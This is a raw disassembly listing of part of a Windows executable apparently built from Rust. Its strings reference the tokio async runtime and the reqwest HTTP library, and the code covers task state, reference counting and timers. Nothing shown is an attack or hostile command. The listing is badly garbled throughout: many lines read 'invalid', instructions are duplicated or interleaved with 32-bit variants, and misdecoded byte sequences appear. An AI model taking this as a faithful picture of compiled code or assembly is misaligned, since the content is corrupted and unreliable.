add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rax, [0x14016f768]
mov qword [rsp + 0x68], rax
and al, 0x68
and al, 0x68
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
ror byte [rdi], 0x11
and al, 0x70
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
adc eax, 0xa0f1b
add byte [rax - 0x73], cl
and al, 0x58
lea rcx, [rsp + 0x58]
lea ecx, [rsp + 0x58]
and al, 0x58
call fcn.140104620
int3
lodsd eax, dword [rsi]
add eax, 0x5641cc00
push r14
push r14
push rsi
push rdi
push rbx
sub rsp, 0xff8
sub esp, 0xff8
sub esp, 0xff8
movaps xmmword [rsp + 0xfe0], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x1400a98ea
invalid
nop dword [rax]
mov rcx, rax
and rcx, 0xfffffffffffffff8
clc
clc
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
add eax, esi
cmpxchg qword [rsi], rcx
add eax, esi
cmpxchg qword [rsi], rcx
mov cl, 0xe
je 0x1400a9915
test al, 4
je 0x1400a9b4d
add byte [rax], al
add byte [rax], al
test al, 3
je case.0x1400930de.124
cmp rax, 0x3f
jbe 0x1400a9b65
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
retf 0xf002
cmpxchg qword [rsi], rcx
invalid
jne 0x1400a98ea
retf 0xf002
invalid
movzx eax, dl
mov dh, 0xc2
lea rcx, [0x140174ae4]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
invalid
mov cl, 0xc
add byte [rax + 0x63], cl
invalid
add al, 0x81
invalid
invalid
or dword [rax + 1], 0x48e0ffc8
lea eax, [0x14014ae78]
adc eax, 0x8948000a
and al, 0x28
and al, 0x28
add rax, rcx
jmp rax
adc eax, 0x8948000a
and al, 0x28
and al, 0x28
mov dword [rsp + 0x28], eax
and al, 0x28
mov qword [rsp + 0x30], rsi
lea rax, [rsp + 0x28]
and al, 0x28
je case.0x1400937fa.119
xor byte [rax - 0x73], cl
and al, 0x28
and al, 0x28
and al, 0x28
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
and al, 0x40
and al, 0x40
cmp dword [rsi + 0x30], 3
jae 0x1400a9b7d
lea rcx, [rsi + 0x30]
xor byte [rax - 0x75], r9b
jle 0x1400a9982
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
push rsp
cmp dword [0xcb52fe63], ecx
invalid
invalid
invalid
adc al, 0x25
pop rax
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
invalid
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
invalid
ret 0xb60f
movzx eax, byte [rax + 0x120]
add byte [rax], al
cmp eax, 1
je 0x1400a99b7
add dword [rsi + rdi + 0xf], esi
push rdi
test byte [rbp - 0x749c8a40], 5
test eax, eax
jne 0x1400a99e3
invalid
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x1400a99e3
mov eax, dword [0x14017d2b4]
cmp dword cs:[0xcb52fe89], ecx
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rax*8]
mov esi, dword [rdx + rax*8]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
mov esi, dword [rdx + rax*8]
invalid
invalid
lea rax, [r14 + 0xd0]
add byte [rax], al
lea rdx, [0x1400e46c0]
mov rbx, rcx
mov ebx, ecx
mov ebx, ecx
mov rcx, rax
call fcn.1400d3ad0
and al, 0xa1
add al, byte [rax]
and al, 0xa1
add al, byte [rax]
mov rcx, rbx
mov byte [r14 + 0x120], 1
mov byte [rsi + 0x120], 1
mov byte [rsi + 0x120], 1
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xd38f705], ecx
invalid
idiv dword [rax]
invalid
mov eax, dword [0x14017d2b4]
add eax, 0xd38f7
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov al, 0xf0
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov al, 0xf0
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rdi
lea rdx, [rsp + 0x38]
call fcn.140097870
dec dword [rbx + 0xd38c10d]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
dec dword [rbx + 0xd38c10d]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x1400a9a41
test ecx, ecx
jne 0x1400a9a5b
mov rdx, qword gs:[0x58]
mov rdi, qword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e46c0]
mov ebx, eax
call fcn.1400d3ad0
cwde
invalid
add al, byte [rax]
cwde
movabs al, byte [0x12087c6d8890002]
add al, byte [rax]
mov eax, ebx
invalid
xchg dword [rax], esp
add dword [rax], eax
invalid
add al, byte [rax]
mov eax, ebx
mov byte [rdi + 0x120], 1
invalid
add dword [rbx + 0xd386d0d], ecx
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
mov cl, 0xf0
add byte [rax], al
add byte [rax - 0x73], cl
jle 0x1400a9a7f
test al, al
je 0x1400a9af3
invalid
mov word [rax], es
add byte [rax], al
ror byte [rdi], 0x84
mov word [rax], es
add byte [rax], al
test byte [rax + rax - 0x76b80000], cl
int1
mov rcx, rsi
call fcn.1400e7430
movzx eax, al
lea rcx, [0x140174af4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eb0b0
mov rax, 0xffffffffffffffc0
invalid
invalid
push rax
xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400a9bb5
adc dword [rcx], eax
add byte [rax], al
invalid
adc dword [rcx], eax
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400a9926.2
mov rcx, rsi
call 0x1400a9dd0
jmp case.0x1400a9926.2
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x48], 4
lea rdx, [rsp + 0x48]
and al, 0x48
and al, 0x48
mov rcx, rdi
call case.0x140071b87.234
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
and al, 0x50
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x68], rax
jmp 0x1400a9b1a
mov qword [rsp + 0x48], 4
lea rdx, [rsp + 0x48]
mov rcx, rdi
call case.0x140071b87.234
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x48], 3
lea rdx, [rsp + 0x48]
mov rcx, rdi
call case.0x140071b87.234
mov rcx, rsi
call fcn.1400a9e90
movaps xmm6, xmmword [rsp + 0xfe0]
add rsp, 0xff8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x20]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x48]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
ret
jne 0x1400a9d9d
add rsp, 0xfb8
pop rdi
pop rsi
jmp 0x1400a9dd0
nop
add rsp, 0xfb8
pop rdi
pop rsi
ret
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x1400a9ded
lea rcx, [rsi + 0x20]
call fcn.140069ba0
mov rcx, qword [rsi + 0x30]
lea rdx, [rcx - 3]
add rcx, 0xfffffffffffffffe
xor eax, eax
cmp rdx, 2
cmovb rax, rcx
cmp rax, 1
je 0x1400a9e19
test rax, rax
jne 0x1400a9e56
lea rcx, [rsi + 0x30]
call fcn.14007ba60
jmp 0x1400a9e56
cmp qword [rsi + 0x38], 0
je 0x1400a9e56
mov rdi, qword [rsi + 0x40]
test rdi, rdi
je 0x1400a9e56
mov rbx, qword [rsi + 0x48]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400a9e56
cmp qword [rbx + 0x10], 0x11
jb 0x1400a9e44
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0xfd8]
test rax, rax
je 0x1400a9e6c
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
mov qword [rax], rbx
mov qword [rax + 8], r14
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
lea rdx, [0x14013d318]
lea edx, [0x14013d318]
lea edx, [0x14013d318]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
invalid
push rdi
push rbx
sub rsp, 0x58
mov rsi, rdx
mov rbx, rcx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rbx + 0x20]
call qword [rax + 0x20]
movabs rdi, 0x8000000000000000
cmp qword [rbx], rdi
jne 0x1400aa38b
jmp 0x1400aa3cc
mov r14, qword [rbx + 8]
mov r14, qword [rbx + 8]
mov rdi, qword [rbx + 0x10]
test rdi, rdi
je 0x1400aa3b9
js 0x1400aa42e
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, rdi
call fcn.1400e0010
test rax, rax
je 0x1400aa433
invalid
mov rbx, rax
jmp 0x1400aa3be
mov ebx, 1
mov rcx, rbx
mov rdx, r14
mov r8, rdi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add byte [rax - 0x77], cl
jl 0x1400aa3f4
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x30], rbx
sub byte [rax - 0x77], cl
pop rsp
and al, 0x30
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x40]
lea r8, [rsp + 0x28]
mov rdx, rsi
bnd call fcn.1400aa450
bnd call fcn.1400aa450
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x40
mov rax, qword [rsp + 0x40]
movabs rcx, 0x8000000000000002
cmp rax, rcx
jl 0x1400aa406
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax + 0x7cc83948], al
add eax, 0x75c08548
or cl, byte [rax - 0x7d]
invalid
test rax, rax
jne 0x1400aa410
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
ret
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
call fcn.140010910
mov ecx, 1
mov rdx, rdi
call fcn.140104360
int3
int3
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400aa591
mov rcx, qword [rdi + 0x10]
mov qword [rax + 0x10], rcx
movups xmm0, xmmword [rdi]
movups xmmword [rax], xmm0
lea rcx, [0x14013bc58]
lea ecx, [0x14013bc58]
mov qword [rsp + 0x20], rcx
movabs r15, 0x7a9dd8e9f60afa17
imul cl
invalid
popfq
invalid
imul cl
fcomp dword [rbp - 0x3741b686]
movabs r14, 0x10916ee6b762ddc8
mov rcx, rbx
movabs r14, 0x10916ee6b762ddc8
mov rcx, rbx
mov rdx, r15
cli
cli
mov r8, r14
mov r9, rax
call fcn.14004ec60
test rax, rax
je 0x1400aa578
mov rdi, rax
mov rbx, rdx
mov ebx, edx
mov rcx, rax
call qword [rdx + 0x18]
cmp rax, r15
jne 0x1400aa54f
cmp rdx, r14
jne 0x1400aa54f
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400aa578
sub al, 0xd
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
movabs rax, 0x8000000000000001
mov qword [rsi], rax
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, 8
mov edx, 0x18
call fcn.140104380
mov ecx, 8
mov edx, 0x20
call fcn.140104380
int3
add dword [rax - 0x2f], ecx
loopne 0x1400aa5ff
test eax, eax
jne 0x1400aa5bc
ret
mov r8, qword [rcx + 8]
mov rcx, qword [0x14017d208]
or eax, 0xd2c41
xor edx, edx
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax], al
add byte [rax], al
add byte [rax + 0x75313948], al
add ch, bl
cmp eax, 0x8598b48
mov rsi, qword [rcx + 0x10]
test rsi, rsi
je 0x1400aa632
add byte [rax - 0x77], cl
stc
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x14017d2b0]
mov dh, 5
sub al, 0xd
add byte [rdx + 0x18], bh
mov dh, 5
sub al, 0xd
add byte [rdx + 0x18], bh
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400aa677
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rsi
jo 0x1400aa678
lea rdx, [0x140139408]
jo 0x1400aa678
add rsp, 0x20
pop rbx
pop rdi
and byte [rbx + 0x5f], bl
pop rsi
ret
mov ecx, 8
mov edx, 0x18
add byte [rax], al
add byte [rax], al
call fcn.140104380
call fcn.140010910
mov ecx, 1
mov rdx, rsi
call fcn.140104360
invalid
add ah, cl
add eax, 0xcccccc00
int3
int3
mov esi, dword [rcx + 0x10]
test rsi, rsi
je 0x1400aa6ef
js 0x1400aa767
mov r14, rdx
movzx eax, byte [0x14017d2b0]
add eax, 0xd2bd9
invalid
add eax, 0xd2bd9
xor ecx, ecx
mov rdx, rsi
call fcn.1400e0010
test rax, rax
je 0x1400aa76c
mov rdi, rax
jmp 0x1400aa6f7
mov r14, rdx
mov edi, 1
invalid
add byte [rax - 0x77], cl
stc
mov rcx, rdi
mov rdx, rbx
mov edx, ebx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rdx, r14
mov qword [rsp + 0x28], rsi
and al, 0x28
and al, 0x28
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rsi
cmp byte [rax - 0x73], cl
and al, 0x40
cmp byte [rax - 0x73], cl
and al, 0x40
lea r8, [rsp + 0x28]
call fcn.1400aa450
mov rax, qword [rsp + 0x40]
movabs rcx, 0x8000000000000002
add byte [rax], al
add byte [rax], al
add byte [rax + 0x7cc83948], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax + 0x7cc83948], al
add eax, 0x75c08548
or cl, byte [rax - 0x7d]
invalid
test rax, rax
jne 0x1400aa749
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
ret
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x14017d208]
mov ecx, dword [0x14017d208]
mov ecx, dword [0x14017d208]
sub cl, byte [0x188dcd858]
add esp, 0x58
xor edx, edx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
call fcn.140010910
mov ecx, 1
mov rdx, rsi
call fcn.140104360
int3
add byte [rax], al
test eax, eax
je 0x1400aa7a5
add byte [rbp - 0x7cea8b40], al
clc
add esi, dword [rdx + rbx - 0x7d]
clc
add al, 0xf
test dword [rax + 0x48000000], eax
add ecx, 0x2650
rcl dword [rax + 0x26], 0
add byte [rax - 0x7d], cl
invalid
and byte [rsi - 0x17], bl
invalid
invalid
add byte [rax], al
rcl dword [rax + 0x26], 0
add byte [rax - 0x7d], cl
invalid
add byte [rax], al
mov rsi, rcx
mov rcx, rax
call 0x1400ad750
lea rcx, [rsi + 0x4c88]
call fcn.1400ece20
mov rax, rsi
lea rcx, [rsi + 0x4c90]
add byte [rax - 0x7d], cl
mov esi, 0x4c88
invalid
je 0x1400aa7f1
add byte [rax - 0x7d], cl
mov esi, 0x4c88
add byte [rax + rdx + 0x48], dh
mov rdx, qword [rcx]
mov edx, dword [rcx]
lock dec qword [rdx]
jne 0x1400aa802
call fcn.140068e50
jmp 0x1400aa7ff
mov rdx, qword [rcx]
lock dec qword [rdx]
dec dword [rdx]
dec dword [rdx]
jne 0x1400aa802
call fcn.140069ba0
dec dword [rax - 0x77]
invalid
mov rax, rsi
mov rdx, qword [rax + 0x4cd0]
test rdx, rdx
je 0x1400aa81e
mov rcx, qword [rax + 0x4cd8]
mov ecx, dword [rax + 0x4cd8]
add byte [rax], r8b
add rsp, 0x20
pop rsi
jmp qword [rdx + 0x18]
nop
add rsp, 0x20
pop rsi
ret
int3
int3
int3
int3
add al, ch
jp 0x1400aa8c3
add eax, 0xc4294800
movdqa xmmword [rsp + 0x4d80], xmm6
or byte [rbp], 0
or byte [rbp], 0
mov rbx, r8
mov rdi, rdx
mov edi, edx
mov edi, edx
mov rsi, rcx
movzx eax, byte [rdx + 0x2648]
add byte es:[rax], al
add byte es:[rax], al
lea rcx, [0x140174b04]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rcx, [rsp + 0x2748]
mov r8d, 0x2638
mov eax, 0x2638
mov eax, 0x2638
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
invalid
invalid
add eax, 0x40af8b00
add byte es:[rax], al
mov ebp, dword [rdi + 0x2640]
add byte es:[rax], al
cmp ebp, 0x3b9aca00
jne 0x1400aa903
lea rcx, [rdi + 0x2650]
add byte es:[rax], al
add byte [rax], al
mov r8d, 0x2638
mov eax, 0x2638
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
invalid
invalid
invalid
xchg dword [0xf797f4ae], eax
push rax
add byte es:[rax], al
lea r14, [rdi + 0x2650]
lea rcx, [rsp + 0x30]
mov rdx, r14
xor byte [rcx + rcx*4 - 0xe], cl
mov r8, rbx
call fcn.1400aad70
scasb al, byte [rdi]
add al, 0
add byte [rdi + rcx - 0x4a], al
jl 0x1400aa8eb
invalid
scasb al, byte [rdi]
add al, 0
add byte [rdi + rcx - 0x4a], al
jl 0x1400aa8eb
movzx edi, byte [rsp + 0x41]
cmp r15b, 3
cmp r15b, 3
jne 0x1400aa8d9
mov byte [rsi + 0x11], 3
mov al, 4
jmp 0x1400aaceb
movdqa xmm6, xmmword [rsp + 0x30]
movzx ebx, byte [rsp + 0x40]
xor byte [rdi], cl
mov dh, 0x5c
and al, 0x40
mov eax, dword [rsp + 0x42]
and al, 0x42
mov dword [rsp + 0x20], eax
movzx eax, word [rsp + 0x46]
and al, 0x46
and byte [rdi], cl
mov bh, 0x44
and al, 0x46
mov word [rsp + 0x24], ax
mov rcx, r14
call 0x1400ad750
jmp 0x1400aacce
mov r14, qword [rdi + 0x2638]
cmp byte [rsi], ah
add byte [rax], al
call fcn.1400dfe70
add rax, r14
jae 0x1400aa975
call fcn.1400dfe70
push rbp
add eax, dword [rax]
add rax, 0x38640900
add eax, 0x38640900
jb 0x1400aad1c
mov r8d, edx
cmp edx, 0x3b9aca00
jb case.0x140073b82.234
inc rax
je 0x1400aad1c
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rcx - 0x7f], al
rol byte [rax], 0x36
vpsubb xmm8, xmm15, xmmword gs:[r8]
retf 0x3b9a
add r8d, 0xc4653600
cmp r8d, 0x3b9aca00
jb case.0x140073b82.234
invalid
and eax, dword [rcx + rcx*4 - 0x3f]
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rax, rcx
jb 0x1400aad34
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_time_sleep.rs
jmp 0x1400aa997
mov r8d, edx
add r8d, ebp
cmp r8d, 0x3b9aca00
jb 0x1400aa990
inc rax
je 0x1400aa914
add r8d, 0xc4653600
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
lea rcx, [rsp + 0x30]
mov rdx, rax
ret 0xdce8
sahf
add al, 0
lea r14, [rsp + 0xa0]
mov ah, 0x24
movabs al, byte [0x4824948d48000000]
invalid
add byte [rax], al
ret 0xdce8
mov ah, 0x24
movabs al, byte [0x4824948d48000000]
invalid
add byte [rax], al
mov r8d, 0x2638
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rsp + 0x30]
invalid
xor eax, dword [rsi + 0x100f0005]
and al, 0x30
invalid
xor byte [rdi], cl
adc byte [rsp + 0x40], cl
and al, 0x40
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
movups xmmword [rsp + 0x26d8], xmm0
fsub dword [rsi]
add byte [rax], al
movups xmmword [rsp + 0x26e8], xmm1
movups xmmword [rsp + 0x26f8], xmm2
add byte [rdi], cl
adc dword [rsp + 0x26f8], edx
movups xmmword [rsp + 0x2708], xmm3
movups xmm0, xmmword [rsp + 0x70]
jo 0x1400aaa0b
adc dword [rsp + 0x2718], eax
add byte [rdi], cl
adc byte [rsp + 0x80], al
invalid
add byte [rdi], cl
adc byte [rsp + 0x80], al
invalid
add byte [rdi], cl
adc dword [rsp + 0x2728], eax
movups xmmword [rsp + 0x2728], xmm0
movdqu xmm0, xmmword [rsp + 0x90]
movdqu xmmword [rsp + 0x2738], xmm0
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax], al
movdqu xmmword [rsp + 0x2738], xmm0
lea rcx, [rdi + 0x2650]
add byte [rax], al
mov r8d, 0x26a8
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
invalid
add byte [rbp + rcx*4 - 0x49], cl
push rax
add byte es:[rax], al
lea r14, [rdi + 0x2650]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or eax, 0x8b486500
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
invalid
je 0x1400aaa92
add dword [rdx + rsi - 0x7b], esi
sal byte [rbp + 0x5b], 0x8b
add eax, 0xd284a
mov rcx, qword gs:[0x58]
add byte [rax], al
test eax, eax
jne 0x1400aaabf
add byte [rax], al
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0xd0]
ror dword [rcx - 0x73], 0x8f
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r15 + 0x120], 1
add dword [rax], eax
add byte [rcx], al
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11c], 0
setne cl
xchg ebp, eax
rol dword [rax + 0x11db8], 0
add byte [rcx + 0xf], al
xchg esp, eax
invalid
xchg ebp, eax
rol dword [rax + 0x11db8], 0
add byte [rcx + 0xf], al
xchg esp, eax
invalid
and r12b, cl
jmp 0x1400aaac2
add eax, dword [rbp + 0x31]
in al, 0x4c
lea edi, [rdi + 0x4c88]
mov byte [rax + rax], cl
lea r15, [rdi + 0x4c88]
mov byte [rax + rax], cl
lea rcx, [rsp + 0x30]
mov rdx, r14
mov r8, rbx
call fcn.1400aad70
movzx ebp, byte [rsp + 0x41]
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x6c
and al, 0x41
cmp ebp, 3
jne case.0x140073b82.250
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + 0xd27c705], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
and byte [rcx], al
add byte [rax], al
and byte [rcx], al
add byte [rax], al
cmp eax, 1
je 0x1400aab38
test eax, eax
jne 0x1400aab6e
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r13, qword [rcx + rax*8]
lea rcx, [r13 + 0xd0]
invalid
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
pop qword [rdx]
add byte [rcx - 0x3a], al
test dword [rax], esp
add dword [rax], eax
add byte [rcx], al
pop qword [rdx]
add byte [rcx - 0x3a], al
test dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
test r13b, r13b
sete cl
cmp byte [rax + 0x11d], 0
mov eax, 0x11d
invalid
mov eax, 0x11d
add byte [rdi], cl
invalid
xchg ebp, eax
setne al
or al, cl
ror byte [rax], 0xc8
or r12b, al
cmp r12b, 1
jne 0x1400aaba0
mov rdx, qword [rbx]
mov rcx, r15
mov ecx, edi
adc ecx, dword [rcx + rcx*4 - 7]
mov ecx, edi
call fcn.1400f4af0
jmp 0x1400aac2e
movdqa xmm6, xmmword [rsp + 0x30]
and al, 0x30
movzx ebx, byte [rsp + 0x40]
mov eax, dword [rsp + 0x42]
mov dword [rsp + 0x28], eax
movzx eax, word [rsp + 0x46]
mov bh, 0x44
and al, 0x46
mov bh, 0x44
and al, 0x46
mov word [rsp + 0x2c], ax
jmp 0x1400aac3d
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r12, qword [rcx + rax*8]
rol dword [rcx - 0x3a], 0x84
and al, 0x1c
add dword [rax], eax
add byte [rax], al
rol dword [rcx - 0x3a], 0x84
and al, 0x1c
add dword [rax], eax
add byte [rax], al
mov byte [rsp + 0x11c], 0
mov rdx, qword [rbx]
mov rcx, r15
adc ecx, dword [rcx + rcx*4 - 7]
call fcn.1400f4af0
movzx ecx, byte [r12 + 0x120]
add dword [rax], eax
add byte [rbx + 0x387401f9], al
add byte [rax], al
cmp ecx, 1
je 0x1400aac0d
test ecx, ecx
jne 0x1400aac2e
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov r12, qword [rdx + rcx*8]
lea rcx, [r12 + 0xd0]
mov word [rax + rdx*8], fs
add byte [rax], al
add byte [rax], al
mov word [rax + rdx*8], fs
add byte [rax], al
add byte [rax], al
lea rdx, [0x1400e46c0]
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e46c0]
mov ebx, eax
call fcn.1400d3ad0
invalid
mov es, word [rdx]
add byte [rcx - 0x7b39be28], cl
mov byte [rsp + 0x120], 1
invalid
mov byte [rsp + 0x120], 1
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11c], r13b
test eax, 0x11c
test eax, 0x11c
mov byte [rcx + 0x11d], 0
test al, al
je 0x1400aac3d
mov byte [rsi + 0x11], 3
mov al, 3
jmp 0x1400aaceb
mov rcx, r14
call 0x1400ad750
sub eax, dword [rax]
add byte [rcx + rcx*4 - 7], cl
sub eax, dword [rax]
add byte [rcx + rcx*4 - 7], cl
call fcn.1400ece20
lea rcx, [rdi + 0x4c90]
lea ecx, [rdi + 0x4c90]
lea ecx, [rdi + 0x4c90]
cmp qword [rdi + 0x4c88], 0
je 0x1400aac6e
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400aac7c
call fcn.140068e50
jmp 0x1400aac7c
mov rax, qword [rcx]
lock dec qword [rax]
invalid
dec qword [rax]
or byte [rbp + 5], dh
jne 0x1400aac7c
call fcn.140069ba0
mov rax, qword [rdi + 0x4cd0]
mov eax, dword [rdi + 0x4cd0]
xchg eax, edx
add byte [rax], r8b
test rax, rax
je 0x1400aac92
mov rcx, qword [rdi + 0x4cd8]
call qword [rax + 0x18]
mov r15b, 2
cmp ebp, 2
je 0x1400aacce
add al, byte [rbx + 0x347402fd]
cmp ebp, 3
jne 0x1400aacb9
lea rax, [0x140139cf8]
movq xmm0, rax
